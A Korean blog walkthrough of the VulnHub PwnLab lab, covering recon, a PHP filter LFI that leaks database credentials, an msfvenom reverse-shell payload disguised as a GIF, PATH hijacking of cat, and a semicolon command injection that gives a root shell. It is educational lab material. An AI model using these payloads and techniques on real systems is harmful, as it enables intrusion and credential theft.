[vulnhub] PwnLab - Writeup

[분석환경]
VMware 2017 Pro
Kali Linux 2020.01

[분석도구]
1. netdiscover
2. nmap
3. python
4. msf(metasploit)
5. nikto
6. burpsuite

1. netdiscover

타겟 서버를 발견합니다.

192.168.47.162

2. nmap

네트워크 스캔을 통해 열린 포트 및 서비스를 확인합니다.

nmap -sC -sV 192.168.47.162

스캔 결과로 80(http), 3306(mysql)포트가 열려있고 서비스가 동작중임을 확인합니다.

3. 80/tcp 접속

웹 서비스가 실행중이므로 브라우저에서 접속하여 사이트 구조를 파악합니다.

Home, Login, Upload 메뉴로 구성되어 있으며 Upload는 로그인 이후에 접근이 가능합니다.

로그인 폼은 SQLi 공격이 유효하지 않고 올바르지 않은 계정 입력 시 계정이 잘못되었다는 에러페이지로 리다이렉트 됩니다.

4. nikto

웹 페이지에 대한 좀 더 자세한 정보를 얻기 위해 nikto를 사용합니다.

nikto -host 192.168.47.162

실행 결과로 Apache버전을 확인하였습니다.

/config.php가 노출되어 있습니다.

/images 경로에서 디렉터리 리스팅이 발견되었습니다.

/icons/README 파일이 존재합니다.

5. PHP LFI(config.php)

페이지 전환을 ?page=login, home, upload 방식으로 하고 있어 LFI(Local File Inclusion) 취약점이 존재합니다.

알려진 구문을 사용하여 config.php 파일에 접근합니다.

curl http://192.168.47.162/?page=php://filter/convert.base64-encode/resource=config

결과로 base64로 인코딩된 php 소스코드를 확인할 수 있습니다.

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

디코딩한 결과는 다음과 같습니다.

echo base64문자열 | base64 -decode

config.php

파일의 결과로 DB 접속에 사용되는 계정정보를 확인합니다.

username은 root / password는 H4u%QJ_H99 / DB는 "Users" 입니다.

6. MySQL

획득한 계정으로 MySQL DB에 로그인합니다.

mysql --user=root --password --database=Users --host=192.168.47.162

DB를 확인하여 사용자 계정과 base64인코딩된 패스워드 정보를 확인합니다.

user pass(encoded) pass(decoded)
kent Sld6WHVCSkpOeQ== JWzXuBJJNy
mike U0lmZHNURW42SQ== SIfdsTEn6I
kane aVN2NVltMkdSbw== iSv5Ym2GRo

7. PHP LFI(upload.php)

5번 과정과 동일한 방법으로 upload.php의 코드도 확인합니다.

http://192.168.47.162/?page=php://filter/convert.base64-encode/resource=upload

<?php 
if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
                $filename  = $_FILES['file']['name'];
                $filetype  = $_FILES['file']['type'];
                $uploaddir = 'upload/';
                $file_ext  = strrchr($filename, '.');
                $imageinfo = getimagesize($_FILES['file']['tmp_name']);
                $whitelist = array(".jpg",".jpeg",".gif",".png"); 

                if (!(in_array($file_ext, $whitelist))) {
                        die('Not allowed extension, please upload images only.');
                }

                if(strpos($filetype,'image') === false) {
                        die('Error 001');
                }

                if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                        die('Error 002');
                }

                if(substr_count($filetype, '/')>1){
                        die('Error 003');
                }

                $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

                if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                        echo "<img src=\"".$uploadfile."\"><br />";
                } else {
                        die('Error 4');
                }
        }
}

코드를 확인해 보면 파일 업로드 시 확장자 기반, mime 타입 기반으로 업로드되는 파일을 필터링 하고 있는 것을 확인 할 수 있습니다.

8. PHP LFI(index.php)

http://192.168.47.162/?page=php://filter/convert.base64-encode/resource=index

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
        include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
        if (isset($_GET['page']))
        {
                include($_GET['page'].".php");
        }
        else
        {
                echo "Use this server to upload and share image files inside the intranet";
        }
?>

COOKIE 세팅 시 'lang'이 설정되어 있다면 인자 값 검사 없이 include를 실시하고 있으므로 취약한 코드입니다.

공격자는 고의적으로 헤더의 쿠키 값에 lang 을 세팅하고 웹쉘.php를 전송하여 타겟에서 리버스쉘이 연결되도록 구성할 수 있습니다.

9. File Upload

리버스쉘연결을 위한 웹쉘을 업로드합니다. upload.php의 파일 필터링을 우회하기 위해 파일의 가장 앞부분에 GIF98을 추가하고 웹쉘을 구성합니다.

echo GIF98>shell.gif

msfvenom -p php/meterpreter\_reverse\_tcp LHOST=192.168.47.143 LPORT=1234 >> shell.gif

LPORT=4444 -> 1234로 수정하여 진행하였음

파일을 업로드하고 서버에 업로드된 경로를 확인합니다.

upload/그림경로.gif

10. Reverse Shell

[8]에서 확인한 취약점 발생 위치에 경로를 입력하여 웹쉘이 실행되게 한다.

칼리에서는 응답포트에서 쉘 연결을 대기한다.

nc -lvp 1234

연결 대기 및 연결 성공

11. Overriding CAT command

[6]에서 확인한 'kane'의 계정으로 su 가 가능하며 홈디렉터리로 이동하여 어떤 파일들이 있는지 분석한다.

SUID가 설정된 msgmike 파일이 있음을 확인할 수 있다. 파일의 소유자는 mike이다.

kane 계정으로 msgmike를 실행하면 cat이 실행되면서 파일을 찾을 수 없다는 에러가 나타난다.

환경변수 설정을 변경하고 새로운 cat을 생성(overwrite)하여 cat 바이너리 실행 시 /bin/sh이 실행되도록 한다.

먼저 cat 바이너리를 재구성한다.

echo "/bin/sh" > /tmp/cat

chmod 777 /tmp/cat

다음으로 환경변수 설정을 변경하여 기존 cat 바이너리보다 새로 구성한 cat 바이너리가 우선하여 실행되도록 한다.

export PATH=/tmp:$PATH

그 후 ./msgmike를 실행하게 되면 cat 대신 새로 구성한 cat 이 실행되면서 mike의 쉘을 획득할 수 있다.

12. FORMAT STRING

mike의 홈 디렉터리로 이동하여 소유자가 root이고 SUID가 설정되어 있는 msg2root 바이너리를 확인한다.

바이너리 실행 시 사용자 입력 값을 받고 있음을 확인할 수 있다.

strings 명령어로 코드의 일부를 확인할 수 있으며 포맷스트링(%s)을 사용하여 입력값을 받고 있음을 확인할 수 있다.

"출력할 문자열";(명령어) 의 사용으로 쉘을 획득할 수 있다. 

123;/bin/sh 을 통해 root 쉘을 실행시킨다.

13. FLAG!

/root 디렉터리 이동 후 flag 출력!

반응형

'Wargame & CTF > Pentest' 카테고리의 다른 글

[vulnhub] Tr0ll: 1 - writeup  (0) 2021.03.19
[vulnhub] kioptrix level 2 - walkthrough  (0) 2021.03.05